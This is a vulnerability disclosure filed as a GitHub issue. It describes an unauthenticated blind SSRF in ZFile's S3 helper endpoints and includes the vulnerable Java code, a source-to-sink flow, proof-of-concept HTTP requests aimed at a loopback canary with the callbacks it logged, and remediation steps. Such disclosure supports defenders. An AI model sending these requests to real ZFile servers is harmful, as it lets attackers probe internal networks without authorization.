Skip to content

Unauthenticated Blind SSRF through the S3 Endpoint Override #836

Description

@cyuanb

Summary

ZFile allows an unauthenticated caller to choose the HTTP endpoint used by the S3 helper. The caller-controlled endPoint value is passed to the AWS SDK S3Client.endpointOverride without a host allowlist or private-address check.

Root Cause

The vulnerable entry point is S3HelperController, which is mapped to /s3. It exposes POST /s3/getBuckets and POST /s3/getCorsConfig. These paths are not under /admin. SaTokenConfigure applies the administrator login and role checks to /admin/** only, so the S3 helper endpoints were reachable without an authenticated ZFile session during the reproduction.

For POST /s3/getBuckets, the controller accepts GetS3BucketListRequest and reads the attacker-controlled endPoint field:

@RequestMapping("/s3")
public class S3HelperController {

    @PostMapping("/getBuckets")
    @ResponseBody
    public AjaxJson<List<S3BucketNameResult>> getBucketNames(
            @Valid @RequestBody GetS3BucketListRequest request) {
        String accessKey = request.getAccessKey();
        String secretKey = request.getSecretKey();
        String endPoint = request.getEndPoint();
        if (!UrlUtils.hasScheme(endPoint)) {
            endPoint = "http://" + endPoint;
        }
        ...
        URI endpointOverride = URI.create(endPoint);
        StaticCredentialsProvider credentialsProvider =
                StaticCredentialsProvider.create(
                        AwsBasicCredentials.create(accessKey, secretKey));
        s3Client = S3Client.builder()
                .region(oss)
                .endpointOverride(endpointOverride)
                .credentialsProvider(credentialsProvider)
                .build();
        buckets = s3Client.listBuckets().buckets();
    }

The request DTO only applies non-empty validation to the endpoint. It does not restrict the hostname, port, address range, or redirect behavior:

@NotBlank(message = "EndPoint 不能为空")
private String endPoint;

UrlUtils.hasScheme() only determines whether the value starts with http:// or https://:

public static boolean hasScheme(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
}

This check is not an SSRF defense. It does not validate the destination host.

The resulting endpointOverride is not merely stored as configuration. S3Client.listBuckets() actively sends the S3 request to that URI. The same data flow is present in POST /s3/getCorsConfig: its request DTO also accepts endPoint without an address policy, and the controller passes the value to S3Client.endpointOverride() before calling getBucketCors().

The complete source-to-sink flow is:

unauthenticated POST /s3/getBuckets
  -> GetS3BucketListRequest.endPoint
  -> UrlUtils.hasScheme() checks only the URL scheme
  -> URI.create(endPoint)
  -> S3Client.builder().endpointOverride(endpointOverride)
  -> s3Client.listBuckets()
  -> outbound HTTP request to the attacker-selected host and port

The root cause is the combination of an externally controllable outbound destination, insufficient URL validation, and a server-side SDK call that is executed before any destination security policy is applied.

POC

  • A separate Canary service listened on 127.0.0.1:28081 inside the target web container's network namespace.

Canary request A and response

POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131

{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-A","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close

96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"30300690-6f32-475a-ab48-f009244c065a"}
0

Canary request B and response

POST /s3/getBuckets HTTP/1.1
Host: localhost:37632
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 131

{"accessKey":"audit-probe","secretKey":"audit-probe","endPoint":"http://127.0.0.1:28081/poc/zfile_SSRF-001-B","region":"us-east-1"}
HTTP/1.1 500
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,Zfile-Token,Axios-Request,Axios-From
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Credentials: false
Access-Control-Max-Age: 600
vary: accept-encoding
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 29 Jul 2026 17:37:06 GMT
Connection: close

96
{"code":"50000","msg":"S3 工具辅助模块获取 Bucket 列表失败","data":null,"dataCount":null,"traceId":"01047437-af1d-4702-b075-41e85186bdfa"}
0

Canary

The Canary recorded both callbacks:

2026-07-29T17:37:06.748947+00:00
GET /poc/zfile_SSRF-001-A/
source: 127.0.0.1
2026-07-29T17:37:06.830022+00:00
GET /poc/zfile_SSRF-001-B/
source: 127.0.0.1

Impact

An unauthenticated client can cause the ZFile server to initiate HTTP requests to loopback, private, link-local, or other internal destinations that are reachable from the application network. This can be used to probe internal services and to send protocol-specific requests through the server.

Recommendation

  1. Do not accept an arbitrary endpoint from an unauthenticated request. Prefer a server-side allowlist of approved S3 providers and endpoint hosts.
  2. If custom S3 endpoints are a required feature, parse the URI and enforce http/https, an approved port policy, a hostname allowlist, and DNS resolution checks that reject loopback, private, link-local, multicast, metadata-service, and other non-routable addresses.
  3. Revalidate the destination after DNS resolution and across every redirect, and route outbound S3 traffic through an egress proxy with an explicit policy.
  4. Place the S3 helper behind the intended authentication and authorization checks, and add rate limiting and audit logging.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions